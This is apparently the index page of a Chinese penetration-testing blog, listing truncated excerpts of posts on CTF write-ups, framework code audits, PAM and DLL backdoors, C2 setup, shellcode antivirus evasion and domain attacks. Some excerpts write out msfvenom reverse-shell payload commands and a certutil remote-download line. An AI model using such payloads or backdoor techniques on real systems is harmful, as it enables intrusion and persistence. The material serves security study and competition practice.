卿's Blog

先知社区:https://xz.aliyun.com/t/8296最近的安洵杯又看到laravel反序列化+字符逃逸，找人要了题拿出来舔一下，看题发现出题大哥一些链没完全堵死，总结下这类题和laravel中POP链接的挖掘过程个人水平较差、文中错误内容还请师傅们指教纠正。这类题的一些Tips:pravite 、Protected 属性序列化差别Private、Protecte...

首发先知社区: https://xz.aliyun.com/t/7902前言渐渐发现pam后门在实战中存在种植繁琐、隐蔽性不强等缺点，这里记录下学习pam后门相关知识和pam后门的拓展改进。0x01 PAM BackdoorPAM是一种认证模块，PAM可以作为Linux登录验证和各类基础服务的认证，简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什...

C2 使目标机器可以接收来自服务器的命令，但实战中通常在恶意软件分析的时候是首先被分析出来的，所以这也就是需要对C2 server加固的原因。下面将C2 server部署时候你需要认识的一些点总结来更好建设、隐蔽、使用你的C2 server。个人水平较差、内容浅显，文中错误内容还请师傅们指教纠正.0x01 C2 Server基础建设修改默认配置CS默认端口的50050端口是需要...

最近遇到的实际环境为weblogic，所以这里顺便总结下测2020-2551的一些相关的点2551也是学习了很多优秀的师傅文章，非常感谢0X00 漏洞利用基础学习从0开始学习复现这个洞不免又会设计到Java反序列化漏洞中那些老生常谈的名词理解，涉及到Java反序列化中的一些协议、行为、结构，但个人文中偏向于结果导向，对于涉及的上述名词解释不会过多官方解释，直接说上自己认为...

0x01 框架路由和底层过滤路由:入口:index.php,api.php,admin.phpinit.php 2804行，新建$app对象，实例化的PHPOK的主类$app = new _init_phpok();include_once($app->dir_phpok."phpok_helper.php");$app->init_site();$app-...

首发先知:https://xz.aliyun.com/t/7170自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。文中我将shellcode免杀技巧分为 "分离“、”混淆“两个大类，通过不同技巧针对不同检测方式，也就是常听到的特征检测、行为检测、云查杀。个人能力有限，文中出现错误还请...

0x01 环境搭建some pwn tools:ida远程调试环境搭建。镜像:ubuntu18起的一个docker 开启远程调试端口映射：docker run --cap-add=SYS_PTRACE --security-opt seccomp:unconfined -it -p 23946:23946 ubuntu/17.04.amd64 /bi...

0x01漏洞代码install.php：<?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config');...

复盘线下域渗透环境Write Up0x01外网web到DMZ进域外网web入口joomla应用 192.168.0.5反序列化打下来GET /index.php HTTP/1.1Host: 192.168.0.5User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko...

自己膨胀的时候真想给自己两耳光

一个很好的学习网站推荐一下:https://docs.microsoft.com/zh-cn/windows/win32/api/0x01 VirtualAllocVirtualAlloc:在虚拟地址空间中预定一块内存区域；VirtualAlloc是Windows提供的API，通常用来分配大块的内存。PVOID VirtualAlloc(PVOID pvAddre...

在项目中遇到SAML企业应用 想留个后门时候一脸懵随便的整理记录 记录项目中SAML渗透的知识点。0x01 前置知识 SAML单点登陆SAML（Security Assertion Markup Language）是一个XML框架，也就是一组协议，可以用来传输安全声明。比如，两台远程机器之间要通讯，为了保证安全，我们可以采用加密等措施，也可以采用S...

梳理一下ssrf不详细 简单记录0x01 SSRF成因和基本利用0x02 内网打未授权redis0x03 关于ssrf打授权的redis0x04 写redis shell和密钥的一点问题0x05 SSRF Bypass0x06 SSRFmaplast0x01 SSRF成因和基本利用phpvulfunction:file_get_contents()...

今晚有空以后随缘写博客了好好沉淀web1当天做出的队伍很少其实不难 折腾到最后就差一步 可惜 0x01读取文件截图没留了只留了代码部分。有个页面 有上传和下载功能起初以为是上传漏洞 发现上传后都会在后面加.jpg且phpsessionid为文件名和目录上传绕了很久...

一篇以python Flask模版渲染为例子的SSTI注入教学~0x01 Flask使用和渲染这里简化了flask使用和渲染的教程只把在安全中我们需要关注的部分写出来来一段最简单的FLASK运行代码:很简单的flask使用将url的qing和方法绑定 返回"qing - Flas...

ics-07Web_php_includeZhuanxvWeb_python_template_injectionics-07题前半部分是php弱类型这段说当传入的id值浮点值不能为1，但是id的最后一个数必须为9，session才能为admin当id为1a9时可符合上面的要求看看上传的源码...

遇到一个hql注入ctf题 这里总结下java中Hibernate HQL的注入问题。0x01关于HQL注入Hibernate是一种ORM框架，用来映射与tables相关的类定义（代码）内部可以使用原生SQL还有HQL语言进行SQL操作。HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。参考SQ...

挑着做一些好玩的ctf题FlatScienceweb2unserialize3upload1wtf.sh-150ics-04web i-got-id-200FlatScience扫出来的login.php查看源码,发现参数debug,传参?debug=...

国庆就要莫得了 起床刷几道NewsCentermfwTraining-WWW-RobotsNaNNaNNaNNaN-BatmanbugNewsCentersearch传参那里发现有注入注入出flag即可没太大转弯' and 0 union select 1,2,fl4g f...

catics-05ics-06lotteryCatXCTF 4th-WHCTF-2017输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果有可能是命令执行尝试fuzz命令执行 特殊符号看了wp涨了点姿势%80之后的url编码)就可以返回D...

前言: 做web渗透大多数时候bp来fuzz 偶尔会有觉得要求达不到的时候wfuzz就很有用了这时候用了很久了这点来整理一次wfuzz 是一款Python开发的Web安全模糊测试工具。下载地址https://github.com/xmendez/wfuzz官方手册https://wfuzz....

晚上做几个简单的ctf逆向睡的更好logmeinelf文件ida看看main函数伪代码void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ size_t v3; // rsi int i; // [rsp+3Ch] [rbp-54h] ch...

以前说好复习一遍结果复习到10关就没继续了真是废物一点简单的事做不好继续把以前有头没尾的事做完以下为Sqli-lab的靶场全部通关答案目录:less1-less10less10-less20less20-less30less30-less40less40-less50less50-less65...

最近用的多 一个实用小tips 文章参考原创Shadow Force大牛 翻译文章参考三好大佬利用MSDTC服务加载后门dll，实现自启动后门后门思路可以查看趋势科技文章https://blog.trendmicro.com/trendlabs-security-intelligence/shadow-force-uses-dll-hijacking-targ...

补一下这部分的笔记简单的东西也记一下操作系统一般都会提供一些列的标准对话框，如文件选择、字体选择、颜色选择等，这些标准对话框为应用层序提供了一致的观感。Qt对这些标准对话框都定义了相关的类，如：QFileDialog、QFontDialog、QColorDialog、QInputDialog、QMessageBox、QPrintDialog、QErrorMe...

写两个一个批量检测的 一个交互式shell的暂时py 图形化的qt写出来..有点问题后门包 :GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept:...

2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件 说是官网下的就没有后门20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三百两？很开心的说 我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件) 用cha...

复习C/C++又到指针这里，想起大一那时候第一次学C这个简单的问题弄了好久都没理解，也是笨关于指针在我第一次学的时候觉得绕来绕去以至于就没理解到就混了过去，网上很多文章讲指针都能讲错也是服了最近很想说的话: 很多以前学过的基础的东西还是有的模棱两可，学了一次不叫会了，写了博客也不叫会了，得熟记于心能运用才叫会。目录:　...

最近看java框架源码也是看的有点头疼，好多还要复习熟悉还有好多事没做...慢慢熬。网上好像还没有特别详细的分析我来误人子弟吧。0x01tp3中的exp表达式查询表达式的使用格式：$map['字段名'] = array('表达式','查询条件');表达式不分大小写，支持的查询表达式有下面几种，分别表示的含义是：...

0x01 Metasploit派生shell给Cobaltstrike生成木马:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.5.4 LPORT=4444 -f exe > test.exe[-] No platform wa...

最近还是重新补一下cs的东西0x01 Beacon命令Beacon Commands=============== Command Description ------- ----------- argue ...

今天把自己用的win7渗透虚拟机和渗透工具脚本整合到一起备份传网盘了:D:\渗透工具包>dir 驱动器 D 中的卷是 DATA 卷的序列号是 0D74-084B D:\渗透工具包 的目录2019/09/08 17:30 <DIR> .2019/09/08 17:30 ...

玩了几天刚回成都 玩电脑复现一下~内核漏洞原理暂时没看懂别问 ，问就是不懂0x01复现环境和Exp准备漏洞影响范围Windows 7Windows Server 2008 R2Windows Server 2008Windows 2003Windows XP靶机环境准备MSDN下载 Window...

开始复现审计一下tp3和tp5的框架漏洞，当个练习吧。涉及注入的方法为where() table()delete()等。环境tp3.2.3 :0x01注入成因测试代码: public function index2(){// $data = M('user')-> where('username...

今晚回学校无聊搞搞自己school 实战的时候遇到mimikatz抓密码报错 以前没遇过记一下(水一篇)爆ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061开始以为又是上次2008注册表组策略的问题结果runas就解决...

补充一下端口复用的知识0x01关于端口复用端口复用也是很老的后门技术，主要是劫持web服务器相关进程/服务的内存空间、系统API甚至劫持网络驱动去达到目的，在winsocket的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分。这种多重绑定便称之为端口复用。这里总结的是基于we...

贴上使用笔记不多介绍了 很简单的东西msfvenom各平台生成木马大全:windows:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f e...

水一水最近玩的工具弄dll注入的时候用到的介绍这款老工具免杀效果一般。。但是简单实用目录:　　　　0x01backdoor-factory简介　　　　0x02特点功能　　　　0x03具体参数使用　　　　PS：后门添加私钥证书https://tools.kali.org/exploitation-tools/bac...

0x01关于SPN服务主体名称（SPN）是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。服务主体名称是服务实例（可以理解为一个服务，比如 HTTP、MSSQL）的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内部网络中，SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言，可以帮助...

分享下自己一直收集和使用的笔记方便快速查找。链接:https://pan.baidu.com/s/1QopVQj3yMAWY1EU5xWEecQ提取码：X3b1

总结下PtH具体形式(wmicexec、powershell、msf等)0x01PtH攻击原理 &&黄金白银票据PtH攻击原理wikihttps://en.wikipedia.org/wiki/Pass_the_hash写的也很清楚其中重要的是windows使用系统API(LsaLogonUser)生成...

本来昨晚就该总结整理，又拖到今天早上。。6点起来赶可还行0x01 Kerberos前言Kerberos 是一种由 MIT（麻省理工大学）提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。Kerberos 主要是用在域环境下的身份认证协议。Active DirectoryActive Directory（...

域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos0x01 NTLM简介NTLM使用在Windows NT和Windows 2000 Server（or later）工作组环境中（Kerberos用在域模式下）。在AD域环境中，如果需要认证Windows NT系统，也必须采用NTLM。较之Kerbero...

又看到请求这一部分，个人认为这部分是算重要的一部分 单独记一篇笔记。0x01 request请求对象如果要获取当前的请求信息，可以使用\think\Request类,完全开发手册中也有提到,继承系统控制器类可以直接调用 Request 类来看看thinkphp中的源码： /** * 构造方法 * @param Request $re...

记录下thinkphp5自定义底层基类、内部类函数使用笔记 大部分笔记来自tp手册。底层常用代码的封装在控制器中基类的起着至关重要的作用,整个项目的代码安全,复杂程度,易读性都要看你项目的基类架构的.比如api中都需要某一个功能函数，我们就可以写在基类里。贴上一个基类返回错误码的例子:<?phpnamespace app\member\con...

自己以前也写过多线程，发现都是零零碎碎，这篇写写详细点，填一下GIL和Python多线程多进程的坑~总结下GIL的坑和python多线程多进程分别应用场景(IO密集、计算密集)以及具体实现的代码模块。目录0x01 进程 and 线程 and “GIL”0x02python多线程&&线程锁&&threading类0x03 pytho...

模型这一块，感觉学习的不是很清楚，单独水一贴thinkphp中模型的学习笔记。0x01 模型类简介数据库中每一张表对应一个模型，类名就是表名，类里面的成员变量就是列名，把一张表对应为一个类，其中一条数据对应一个对象如果我们对该表的模型没有特殊操作的话可以不用建立该模型，但C层和V层必须有模型类简单代码:<?phpnamespace Home\Model;...

重新整理下学习tp5手册的笔记。0x01 安装Composer安装ThinkPHP5支持使用Composer安装curl -sS https://getcomposer.org/installer | phpmv composer.phar /usr/local/bin/composerGit安装应用项目：https://github.com/top-...

填个坑 审计工具大全以下链接为当前比较热门的代码审计推荐文章http://www.freebuf.com/sectool/101256.htmlhttps://www.owasp.org/index.phphttps://www.dwheeler.com/essays/static-analysis-tools.html https://github.com/...

0x01 Xdebug简介Xdebug是一个开放源代码的PHP程序调试器运行流程:0x02 Xdebug配置日志xdebug.trace_output_dir:日志追踪输出目录xdebug.trace_output_name日志文件名，xdebug提供了一系列的标识符，生成相应格式的文件名xdebug.trace_optio...

今天赶紧把这个搞了运行环境：　　phpStorm 2018　　PHP 5.45 nts VC9　　Xdebug 2.4.10x01 PHP安装xdebug扩展自己之前装一直没装起 原来是版本问题下载地址:https://xdebug.org/download.phpphp.ini配置:[xdebug]zend_extens...

重视信息收集。再次复习下基础且重要的命令，特别是wmic的使用Whoami /allIpconfig /allRoute printtasklist /svcQuery uerqusernetstat -ano | morenetstat -anob...

最近老是觉得自己白天工作累，晚上理应休息堕落了几天才发觉自己真垃圾，加紧向前吧。0x00前言在平时渗透还是工作中经常会遇到shell反弹的情况，网上一搜反弹shell都是一大堆，但是真正遇到反弹shell的时候你真的懂了反弹shell的payload的?这篇会细致总结下常见反弹shell的情况(Linux)和反弹shell的本质。0x01 Linux的文件...

今晚简单来看看那天比赛的源码吧，比赛的时候还是有些慌没有好好去静下心看代码。awd给的题中的漏洞，都是那种可以快速让你利用拿到权限后得到flag的那种，特别复杂利用的一般没有。建议先黑盒去尝试，例如前台上传，后台上传，等等，执行失败再来结合代码审计看看是否可以绕过利用。所以审计中重点关注预留后门，注入，文件上传，命令/代码执行。0x01预留后门...

今天只是简单写下心得和体会平时工作很忙留给学习的时间更加珍少宝贵。重点说下第二天的攻防比赛吧 。三波web题 。涉及jsp，php，py、前期我们打的很猛。第一波jsp的题看到有首页预留后门，和css路径下一个非常隐蔽的马，我们利用这个马打了一大波flag，后面审计发现后台也是弱口令，存在上传。而在后面，我们也利用几个马打了很大一波，名次很靠前，却没有好好防守...

创建备份域控制器这里就拿windows 2012 R2来当备份域控如果一个域内有多个域控制器，可以有如下好处.提高用户登录的效率：如果同时有多台域控制器对客户提供服务，可以分担审核用户登录身份（账户与密码）的负担，让用户登录效率更佳。排错功能：如果有域控制器发生故障，此时依然能有其他正常的域控制器继续提供域服务器。win+Rrundll32.exe shell...

记录下今天遇到以前没遇到的问题加入域的时候提示“尝试解析加入域中控制器的DNS”名称失败可能的原因:如果确认dns没问题 dc正常访问，那可能就是因为域控制器无法向dns注册srv记录。SRV记录：记录了哪台计算机提供了哪个服务。格式为：服务的名字.协议的类型（例如：_example-server._tcp）显性URL：将域名指向一个http（s)协...

之前练习域渗透的环境被我弄丢了 重新搭建一个完整的域环境吧。域渗透的基础还是环境的搭建，单域到域树再到域林。单域环境搭建创建域的必备条件DNS域名：先要想好一个符合dns格式的域名，如 pentest.comDNS服务器：域中需要将自己注册到DNS服务器内，瓤其他计算机通过DNS服务器来找到这台机器，因此需要一台可支持AD的DNS服务器，并且支持动态更新（...

情景五：批量修改ssh密码拿到官方靶机第一件事改自己机器的ssh密码，当然也可以改别人的密码~import paramikoimport sysssh_clients = []timeout = 5new_password = "qing_@3389.."def get_flag(): passclass SSH_Client(...

最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~这里从各种情景和需求中去总结工具和脚本的使用情景一 默认SSH密码批量反弹shell官方在给出服务器密码时，很有可能是默认的，需要赶快修改自己的密码并尝试能不能登陆别人的靶机#-*- coding:utf-8 -*-i...

最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~这里从各种情景和需求中去总结工具和脚本的使用情景一 默认SSH密码批量反弹shell官方在给出服务器密码时，很有可能是默认的，需要赶快修改自己的密码并尝试能不能登陆别人的靶机#-*- coding:ut...

几天没写 水一些今天遇到的问题0x01 配置SSH参数修改sshd_config文件，命令为：vi /etc/ssh/sshd_config将#PasswordAuthentication no的注释去掉，并且将NO修改为YES //kali中默认是yes将PermitRootLogin without-passwor...

cms来源AWD线下攻防平台题目。链接：https://pan.baidu.com/s/1eUkyRspQmsv-0fIBby8ZlQ提取码：tywa 失效可以联系我0x01文件上传漏洞访问admin.php?action=images可以上传图像，而这里过滤不严造成文件上传漏洞:admin.php:case 'images': ...

题外:今天是上班第一天，全都在做准备工作，明天开始正式实战做事。看着周围稍年长的同事和老大做事，自己的感觉就是自己还是差的很多很多，自己只能算个废物。学无止境，我这样的垃圾废物就该多练，保持战斗的欲望，嗯。今晚回来了没什么事，跟着网上的师傅复现审计一套awd的源码吧。看了下也是很简单的一套源码，不过在某的小地方可能不容易发现，所以这篇自己把过程写的尽可能详细、对新手友好。...

今天渗透测试面试提到cmd下载文件 ，自己只写了js和certutil，还有几种常见的方法自己没想起来这里记录和总结下 。(自己还是太菜太垃圾。)0x01 certutilcertutil 是一个证书工具，功能挺丰富的，参数非常多certutil -urlcache -split -f http://xxxxxxcertutil -urlcache -s...

今早无聊。。。7点起来突然想写个刷访问量的。。那就动手吧仅供测试，不建议刷访问量哦~~很简单的思路，第一步提取代理ip，第二步模拟访问。0x01 提取HTTP代理IP网上很多收费的代理和免费的代理IP如:无论哪个网站，我们需要的就是爬取上面的ip和端口号，整理到一起。具体的网站根据具体的结构爬取 比如上面那个网站，ip和端口在td标签...

最近各位师傅都在刷这个嘛，原本的exp是上传一个test123456.jsp的命令执行的马子，不过我在试的时候发现替换成C刀一句话出错,原因未知，并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)A)批量的ip，利用脚本提取从fof...

Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码看了别的师傅的文章发现这个源码也非常简单 ，所以今晚简单审计过一遍。0x01预留后门awd首先备份源码，然后下载下来查杀后门，很可能有隐藏后门，有的话直接拿这个后门开始第一轮刷分攻击。D盾查杀可疑后门，如下；site/sitemap.php 文件疑似木马，查看一下；明显的一句话木马...

今天dockerpull镜像的时候太慢了 所以这里配置下阿里云镜像打开阿里云控制台，没有的可以用淘宝账号或者支付宝账号直接登录打开容器镜像服务，镜像加速器，复制加速器地址修改配置文件$: vi /etc/docker/daemon.json添加加速器地址：sudo mkdir -p /etc/dockersudo tee...

摘之工具包中脚本需要安装mysqldb。windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。 #coding=utf-8 import MySQLdb def mysql_connect1(ip,m_user,m_passwor...

docker：有两个版本:docker-ce(社区版)和docker-ee(企业版)。参考官网地址：https://docs.docker.com/engine/installation/linux/docker-ce/ubuntu/#os-requirementsdocker-compse：可运行和管理多个docker容器。docker-machine：docker官方提供的dock...

博客园: https://www.cnblogs.com/-qing-/csdn:https://blog.csdn.net/qq_17204441/github: https://github.com/qinggegeyamail: qing_root@secquan.org/779783493@qq.comQq/VX: 779783493 (卿)若...

Forms原题链接http://ctf5.shiyanbar.com/10/main.phpForm 其实是个提示，代表html表单F12 查看源码，发现<input name="showsource" value="0" type="hidden">只要把hidden删除，就可以看到又多出了一个，输入框，容易知道输入1提交以后得到源码...

关于sqlmapapi自己练习的还是很少今天看见freebuf上师傅的分享的内容自己练习了一下来自: https://www.freebuf.com/articles/web/204875.html这位师傅总结非常好为什么要使用SQLMAP API？由于SQLMAP每检测一个站点都需要开启一个新的命令行窗口或者结束掉上一个检测任务。虽然 -m 参数可以批量扫描URL，但是...

题目地址：http://ctf5.shiyanbar.com/indirection/打开后给了源码<?php // code by SEC@USTC echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; ...

地址:http://ctf5.shiyanbar.com/web/kzhan.php看看数据包和源代码看见cookie有个source值很奇怪，把他改成1试一下就收到这段代码$flag = "XXXXXXXXXXXXXXXXXXXXXXX";$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 charact...

题目链接：http://www.shiyanbar.com/ctf/1854打开提供网站 , 发现页面中提示 :查看源代码发现要提交一个key参数 那key的值提交什么呢 我们看看包看看题目想让我们干什么发现响应头有个flag字段值貌似是base64编码解码一下P0ST_THIS_T0_CH4NGE_FL4G:Y78adO1...

实验吧的三道sql注入(感觉实验吧大部分web都是注入)简单的SQL注入地址：http://ctf5.shiyanbar.com/423/web/这道题也是sql注入，输入1，页面显示正常，输出1'，页面报错还是走流程把 fuzz下发现过滤了andunion之类的。不过尝试后发现是可以构造双写关键词uniunionion下面尝试爆表名和字段，...

打开页面，查看源代码，发现存在source.txt（http://ctf5.shiyanbar.com/web/pcat/source.txt），如下：<?phperror_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form act...

第二种方法使用brup进行盲注 也是一个道理不多贴了这里提一下 burp怎么判断超时Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间（默认为120秒）。在进行Intruder攻击时，如果连接超时，则状态码和length一栏为空。由此可以判断连接是否超时。需要注意的是：在开始Int...

地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php这道题点开看见your ip is :xxx.xxx.xx.xxx试了一些最后发现是XFF注入不过首先要进行ip伪造X-Forwarded-ForClient-IPx-remote-IPx-originating-IPx-remote-...

登录一下好吗地址:http://ctf5.shiyanbar.com/web/wonderkun/web/index.html根据题目的提示，获知该题目的目的使用sql注入来绕过登陆。猜测后台的sql应该是select * from table where username= ‘username′ and password=′password’进过测试，发现过滤了以下字...

你真的会PHP吗？首先刚进网页就是一个have fun 看了源码没有什么提示，也没有输入框，那就打开F12看看有提示6c525af4059b4fe7d8c33a.txt访问http://ctf5.shiyanbar.com/web/PHP/6c525af4059b4fe7d8c33a.txt原来是审计<?php$info =...

后台登录http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php看到有源码提示第一想到是注入发现他的password用MD5加密了（这是为了防止你输入'"or 这些符号绕过验证password）发现SQL注入语句和一个MD5函数MD5（string，raw）raw 可选，默认为false*true:返回16字符2进制格式...

开始刷ctf题吧 慢慢来。实验吧---简单的登录题题目地址：http://ctf5.shiyanbar.com/web/jiandan/index.php随便提交一个id，看到后台set了两个cookie没发现什么东西扫下目录发现test.php 打开发现是源码<?phpdefine("SECRET_KEY", '********...

记录下自己写的经典Web漏洞靶场的writeup，包括了大部分的经典Web漏洞实战场景，做个笔记。0x01任意文件下载漏洞if(!empty($_GET['filename'])){ $filename = $_GET['filename']; $fileinfo = pathinfo($filename); ...

学校要办ctf了，自己一个人给学校搭建踩了好多坑啊。。这里记录一下吧心累心累这里只记录尝试成功的过程有些尝试失败的就没贴上来为各位搭建的时候节省一部分时间吧。ubuntu18搭建0x01 CTFd平台搭建1.升级源$ sudo apt-get update2.安装git因为CTFd的源码和部署好的题目都是要通过github传...

记录下自己写的文件包含漏洞靶场的writeup，包括了大部分的文件包含漏洞实战场景，做个笔记。

文件解析漏洞总结 陪着小组复习解析漏洞这里再做次笔记吧。常见的解析漏洞类型IIS6两个解析漏洞很老很老的东西了，还是再次记录一次，偶尔会遇到。1、当WEB目录下，文件名以xxx.asp;xxx.xxx来进行命名的时候，此文件将送交asp.dll解析(也就是执行脚本)2、当WEB目录下，在访问以xxx.a...

veil-Evasion免杀使用 Veil-Evasion 是 Veil-Framework 框架的一部分，也是其主要的项目。利用它我们可以生成绕过杀软的 payload kali 上并未安装，下面我们来进行简单的安装。我们直接从 github 上进行 clone 下载：git clone [https://www.github.com/V...

Web安全之爆破中的验证码识别~写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~0x01使用现成工具这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~我们可以用pkav的国产神器，抓取请求包后，分别标记需要爆破的密码和识别的验证码，然后右侧定义加载的字典配置...

Python之selenium+pytesseract 实现识别验证码自动化登录脚本 今天写自己的爆破靶场WP时候，遇到有验证码的网站除了使用pkav的工具我们同样可以通过py强大的第三方库来实现识别验证码+后台登录爆破，这里做个笔记~~~0x01关于seleniumselenium 是一套完整的web应用程序测试系统，包含了测试的录...

(未完)暴力破解漏洞实战靶场笔记 记录下自己写的暴力破解漏洞靶场的writeup，包括了大部分的暴力破解实战场景，做个笔记0x01明文传输的表单爆破没有任何加密，分别爆破用户名和用户密码即可这里可以通过页面返回的不同来鉴别是否有用户当不存在用户名时:当存在用户名时,密码错误:通过这个差别...

(未完)CSRF漏洞实战靶场笔记记录下自己写的CSRF漏洞靶场的writeup，包括了大部分的文件上传实战场景，做个笔记。posted @ 2019-06-13 20:37 卿先生 阅读(...) 评论(...) 编辑 收藏...

CSRF 花式绕过Referer技巧转自wang师傅博客地址:https://blog.51cto.com/0x007/16109461.Refere为空条件下解决方案: 利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的，如果这个HTML页面向任何http站点提交请求的话...

Web安全之CSRF漏洞整理总结这两天整理和编写了csrf的靶场，顺便也复习了以前学习csrf的点，这里记录下学习的总结点。0x01关于CSRF 跨站请求伪造CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充...

PHP会话机制---session的基本使用 登录网站后，在每个网页都能拿到用户信息(1) 使用超链接传递用户名，这样太繁琐了，不建议使用 。(2) 使用数据库，每打开一个页面都查询一次用户信息表，这样网页加载速度变慢，用户体验变差。(3) 使用cookie，登录成功后，服务器将用户信息存储到客户端的cookie。这样存在缺点： ...

(未完)文件上传漏洞实战靶场笔记记录下自己写的文件上传漏洞靶场的writeup，包括了大部分的文件上传实战场景，做个笔记。posted @ 2019-06-11 12:39 卿先生 阅读(...) 评论(...) 编辑 收藏...

(未完)XSS漏洞实战靶场笔记记录下自己写的XSS靶场的writeup，也是学习了常见xss漏洞类型的实战场景posted @ 2019-06-11 12:38 卿先生 阅读(...) 评论(...) 编辑 收藏...

meterpreter读取hash明文记录今天测试某个站点时读hash老出错这里做下读hash的笔记进去meterpreter后getuid一 1 2 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 加载mimikatz模块 1 2...